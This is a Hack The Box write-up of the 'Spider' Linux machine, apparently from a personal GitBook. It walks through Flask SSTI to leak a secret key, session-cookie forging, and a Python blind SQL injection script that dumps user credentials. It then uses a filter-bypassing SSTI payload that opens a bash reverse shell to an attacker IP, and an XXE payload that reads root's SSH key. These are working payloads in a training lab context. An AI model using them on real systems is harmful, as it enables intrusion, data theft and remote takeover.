HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Spider

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.243 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Wed May 17 14:54:36 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed May 17 14:55:08 2023 -- 1 IP address (1 host up) scanned in 31.91 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.243 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Wed May 17 14:55:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28f161280163296dc5036da9f0b06661 (RSA)
|   256 3a158ccc66f49dcbed8a1ff9d7abd1cc (ECDSA)
|_  256 a6d40c8e5baa3f9374d6a808c9523909 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 17 14:55:27 2023 -- 1 IP address (1 host up) scanned in 8.42 seconds

If we try to access the website on port 80, we'll see that it tries to reach spider.htb.

curl http://10.10.10.243 -L

curl: (6) Could not resolve host: spider.htb

Let's add the domain name to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.124    spider.htb

There is a chair store hosted on the web server.

We could register a new user.

To log in, we'll need to provide our password and uuid.

Once logged in, from the User Information section, we'll be able to see our username and uuid.

Exploitation

As the username gets represented in the website, we could try to create a new user with an SSTI payload as the username, and see if we can retrieve any data. In this case, we could use the {{config}} payload to retrieve the configuration parameters of the server.

As we can see, the server is vulnerable to SSTI because we get the server configuration.

We can put the content in the config file to see it more comfortably. As we can see, there is one secret key.

cat config | tr "," "\n"

...
 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
..

As we can see, we have a cookie that looks like a JWT.

We could decode the cookie with the flask-unsign tool.

flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZSJ9.ZGaGXg.HkhEFUVLzvrw5yi3fAdp-jy0Qm8'

{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e'}

As we also have to private key that is used to sign cookies, we could form our own session cookie.

flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZSJ9.ZGaIOg.eLg7yVbm44N73YwTwJPlM-4qAMs

The cookie has the uuid key. We could test if that key is vulnerable to SQL Injection. Let's create one session cookie with the ' character at the end of the uuid.

flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e''}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZScifQ.ZGaJUQ.wVwB_UzPJKAnfvE5gY4DL-vLP-E

If we replace the session cookie that we have with the one we just created and reload the page, we'll see that the server crashes.

If we create a session cookie with a simple SQLi payload such as ' or 1=1-- -, we'll see that we become the chiv user.

flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e' or 1=1-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZScgb3IgMT0xLS0gLSJ9.ZGaKlA.CLNuhGFlyHEeSZ9Jtk3eqwWS0T0

The server is vulnerable to Blind SQL Injection. The following is a python script that automates the whole process of creating malicious cookies to dump the entire database. It will start getting the database name, then it will get the tables of that database, and the columns of the user table, then finally, it will dump all the data from that table.

#!/usr/bin/python3

import requests
from pwn import *
import pdb, string

def def_handler(sig, frame):
	print("\n[!] Quiting...\n")
	sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.ascii_lowercase
uuid = "8056088e-fa64-4858-957b-74a8be8f2f4e"
secret = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
main_url = "http://spider.htb"
proxy = {'http': 'http://localhost:8080'}

def sqli(query, chars):
	counter = 1
	trigger = 0
	element = ""

	while trigger == 0:
		for char in chars +  ",":
			p2.status("%s%s" % (element,char))
			payload = "\\' and if(substr(%s,\\'%s\\',1)=\\'%s\\',sleep(3),1)-- -" % (query,counter,char)

			time_start = time.time()
			cookie = """{'cart_items': [], 'uuid': '%s%s'}""" % (uuid,payload)
			#print(cookie)
			session_cookie = subprocess.check_output("""flask-unsign --sign --cookie "%s" --secret '%s'""" % (cookie,secret), shell=True).decode().strip()
		
			headers = {
				'Cookie': 'session=%s' % session_cookie
			}
			r = requests.get(main_url, headers=headers, proxies=proxy)
			time_end = time.time()

			if time_end - time_start > 3:
				element += char
				counter += 1
				p2.status(element)
				break
			else:
				if char == chars[-1]:
					p2.status(element)
					trigger = 1
	return element
	
def makeRequest():

	p1 = log.progress("Blind SQLi")
	time.sleep(1)

	global p2
	p2 = log.progress("Injecting")
	time.sleep(1)

	query = "database()"
	database = sqli(query, string.ascii_lowercase)
	log.info("Database: %s" % database)

	query = "(select group_concat(table_name) from information_schema.tables where table_schema=\\'%s\\')" % database
	tables = sqli(query, string.ascii_lowercase + ",")
	log.info("Tables: %s" % tables)

	query = "(select group_concat(column_name) from information_schema.columns where table_schema=\\'%s\\' and table_name=\\'users\\')" % database
	columns = sqli(query, string.ascii_lowercase + ",")
	log.info("Columns of the 'users' table: %s" % columns)

	query = "(select concat(name,0x3a,password,0x3a,uuid) from users limit 0,1)"
	data = sqli(query, string.ascii_uppercase + string.ascii_lowercase + string.digits + "-" + "," + ":")
	log.info("Data from the 'users' table: %s" % data)

	p2.status("Finished")
	
if __name__ == '__main__':
	makeRequest()

Run the script to dump the database.

python exploit.py

[◒] Blind SQLi
[◓] Injecting: Finished
[*] Database: shop
[*] Tables: items,messages,support,users
[*] Columns of the 'users' table: id,name,password,uuid
[*] Data from the 'users' table: chiv:ch1VW4sHERE7331:129f60ea-30cf-4065-afb9-6be45ad38b73

Now that we have the password and uuid of the chiv user, let's log in as him.

There are different sections in the admin panel.

In the View messages section, there is one message saying to fix some portal.

The portal allows us to submit tickets.

We could try to inject SSTI payloads like before, but now there is some kind of security measure implemented.

If we submit special characters, we'll see that the server doesn't like the _, ' and . characters.

There are some payloads that are capable of bypassing this type of security measures. First, set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, base64 encode a payload that will send us a reverse shell.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"' | base64

YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMSIK

%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMSIK | base64 -d | bash")|attr("read")()%}

Make a request with BurpSuite to get the reverse shell as chiv. Then, we'll be able to grab the user flag.

Listening on 0.0.0.0 4444
Connection received on 10.10.10.243 39726
bash: cannot set terminal process group (1596): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ whoami
whoami
chiv
chiv@spider:/var/www/webapp$ cat /home/chiv/user.txt
cat /home/chiv/user.txt
2de2f0718417afdf26af4c6202f09d67

Privilege Escalation

To get a more stable shell, get the id_rsa file of chiv.

cat /home/chiv/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
...
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----

Create it in your machine, give it the right permissions, and log in via SSH.

nano id_rsa; chmod 600 id_rsa

ssh -i id_rsa chiv@10.10.10.243

Last login: Fri May 21 15:02:03 2021 from 10.10.14.7
chiv@spider:~$ whoami
chiv

Port 8080 is open but it can not be accessed externally.

netstat -tulpn

(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Do port forwarding with SSH of that port to port 80 of our localhost.

ssh -i id_rsa chiv@10.10.10.243 -L 80:127.0.0.1:8080

There is a login page in that web server.

If we enter any username we'll be able to log in.

If we intercept a login request with BurpSuite, we'll see that we are sending the username and version parameters.

Then, we'll be redirected to /site with a new session cookie.

The cookie contains a base64 encoded value of the lxml key.

flask-unsign --decode --cookie '.eJxNjE1vgyAAhv_KwnkHdG4Hk14MiKOTBhSw3DSYYf2YqWSzNv3vW5Mt2fHJ87zvFQzrOID4Ch4aEAOJWWrxWvKeKqH9pMZAtzq_NJnpaplGJZkTKwPEK5ErJN4kdns7vm6y8OjHT4VkySGdM3FKzN3f2cABcW0phzgyqTs0hHmmXacCeTbY6nYU2D6ZXuPn5RjCoCa0Uv_-fvdchOuLRpTUIa2aTPG6x1GJ6NIO7xcx-k6FayCJ_fzr-TactXJFnSZTs7k8h3N4PDGx_9rtwO0RzB_d5BcQw9s3hSNV0Q.ZGcjsw.h-kk33UvadiCOTalT3tIJY7r6f4'

If we decode the base64 string, we'll see that it is an XML message.

echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d

<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>test</username>
        <is_admin>0</is_admin>
    </data>
</root>

We could try to do something. As we have control of the API version and the username field, we could try to inject an XXE payload to read local files. If we suppose that the server is running as root, we could try to read the private SSH key of the root user. The API version parameter will have to look something like the following.

--><!DOCTYPE root [ <!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'> ]><!-- 

Then, the username will have to be the following payload so we can see the content of the SSH key displayed in the website.

&test;

Send the two payloads with BurpSuite. Make sure to add a space at the end of the second payload, and to URL encode the first one.

Indeed, as the server is running as root, we can see the id_rsa file of root displayed on the website.

Finally, create the id_rsa file in our local machine, give it the right permissions, and get a shell as root. Then, all we have to do is reap the harvest and take the root flag.

nano id_rsa.root; chmod 600 id_rsa.root

ssh -i id_rsa.root root@10.10.10.243

Last login: Fri Jul 23 14:11:40 2021
root@spider:~# whoami
root
root@spider:~# cat root.txt 
17c31cf6c43b30648342856393ad811a

The payload that we could use can be found in . But we need to modify it a bit. Change the ' characters to ". Then change the first {{ characters to {%include, and the last }} to %}. It will look like this.

PayloadAllTheThings